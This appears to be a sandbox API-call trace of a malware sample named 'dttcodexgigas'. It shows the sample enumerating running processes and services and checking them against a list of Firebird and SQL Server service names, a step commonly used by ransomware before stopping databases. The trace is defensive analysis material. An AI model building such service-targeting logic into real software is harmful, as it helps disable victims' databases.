	[0161.103] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0161.103] lstrlenW (lpString="wininit.exe") returned 11
	[0161.103] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.104] lstrlenW (lpString="csrss.exe") returned 9
	[0161.104] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0161.104] lstrlenW (lpString="winlogon.exe") returned 12
	[0161.104] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0161.105] lstrlenW (lpString="services.exe") returned 12
	[0161.105] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0161.105] lstrlenW (lpString="lsass.exe") returned 9
	[0161.105] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.106] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.106] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.106] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.106] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.106] lstrlenW (lpString="svchost.exe") returned 11
	[0161.106] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.107] lstrlenW (lpString="svchost.exe") returned 11
	[0161.107] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0161.107] lstrlenW (lpString="dwm.exe") returned 7
	[0161.107] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.108] lstrlenW (lpString="svchost.exe") returned 11
	[0161.108] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.108] lstrlenW (lpString="svchost.exe") returned 11
	[0161.108] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.109] lstrlenW (lpString="svchost.exe") returned 11
	[0161.109] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.109] lstrlenW (lpString="svchost.exe") returned 11
	[0161.109] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.109] lstrlenW (lpString="svchost.exe") returned 11
	[0161.109] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.110] lstrlenW (lpString="svchost.exe") returned 11
	[0161.110] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.110] lstrlenW (lpString="svchost.exe") returned 11
	[0161.110] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.111] lstrlenW (lpString="svchost.exe") returned 11
	[0161.111] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.111] lstrlenW (lpString="svchost.exe") returned 11
	[0161.111] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.111] lstrlenW (lpString="svchost.exe") returned 11
	[0161.112] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0161.112] lstrlenW (lpString="spoolsv.exe") returned 11
	[0161.112] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.113] lstrlenW (lpString="svchost.exe") returned 11
	[0161.113] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0161.113] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0161.113] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0161.114] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0161.114] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0161.114] lstrlenW (lpString="audiodg.exe") returned 11
	[0161.114] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0161.114] lstrlenW (lpString="Memory Compression") returned 18
	[0161.114] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.115] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.115] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0161.115] lstrlenW (lpString="sihost.exe") returned 10
	[0161.115] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.116] lstrlenW (lpString="svchost.exe") returned 11
	[0161.116] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0161.116] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0161.116] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.116] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.116] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0161.117] lstrlenW (lpString="explorer.exe") returned 12
	[0161.117] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0161.117] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0161.117] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0161.118] lstrlenW (lpString="SearchUI.exe") returned 12
	[0161.118] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0161.118] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0161.118] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0161.119] lstrlenW (lpString="mobsync.exe") returned 11
	[0161.119] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0161.119] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0161.119] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0161.119] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0161.119] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0161.120] lstrlenW (lpString="cmd.exe") returned 7
	[0161.120] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0161.120] lstrlenW (lpString="conhost.exe") returned 11
	[0161.120] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0161.121] CloseHandle (hObject=0x380) returned 1
	[0161.121] Sleep (dwMilliseconds=0x1f4) 
	[0161.784] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40a5aa0
	[0161.788] EnumServicesStatusExW (in: hSCManager=0x40a5aa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0161.793] GetLastError () returned 0xea
	[0161.793] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40a6888
	[0161.793] EnumServicesStatusExW (in: hSCManager=0x40a5aa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40a6888, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40a6888, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0161.797] CloseServiceHandle (hSCObject=0x40a5aa0) returned 1
	[0161.797] lstrlenW (lpString="AppXSvc") returned 7
	[0161.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0161.797] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0161.797] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0161.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0161.797] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0161.797] lstrlenW (lpString="Audiosrv") returned 8
	[0161.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0161.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0161.797] lstrlenW (lpString="BFE") returned 3
	[0161.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0161.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0161.797] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0161.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0161.797] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0161.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0161.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0161.798] lstrlenW (lpString="CDPSvc") returned 6
	[0161.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0161.798] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0161.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0161.798] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0161.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0161.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0161.798] lstrlenW (lpString="CryptSvc") returned 8
	[0161.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0161.798] lstrlenW (lpString="DcomLaunch") returned 10
	[0161.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0161.798] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0161.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0161.798] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0161.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0161.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0161.799] lstrlenW (lpString="Dhcp") returned 4
	[0161.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0161.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0161.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0161.799] lstrlenW (lpString="Dnscache") returned 8
	[0161.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0161.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0161.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0161.799] lstrlenW (lpString="DPS") returned 3
	[0161.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0161.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0161.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0161.799] lstrlenW (lpString="DusmSvc") returned 7
	[0161.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0161.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0161.799] lstrlenW (lpString="EventLog") returned 8
	[0161.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0161.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0161.799] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0161.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0161.799] lstrlenW (lpString="EventSystem") returned 11
	[0161.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0161.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0161.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0161.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0161.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0161.800] lstrlenW (lpString="FontCache") returned 9
	[0161.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0161.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0161.800] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0161.800] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0161.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0161.800] lstrlenW (lpString="gpsvc") returned 5
	[0161.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0161.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0161.800] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0161.800] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0161.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0161.800] lstrlenW (lpString="iphlpsvc") returned 8
	[0161.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.800] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0161.800] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0161.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0161.800] lstrlenW (lpString="KeyIso") returned 6
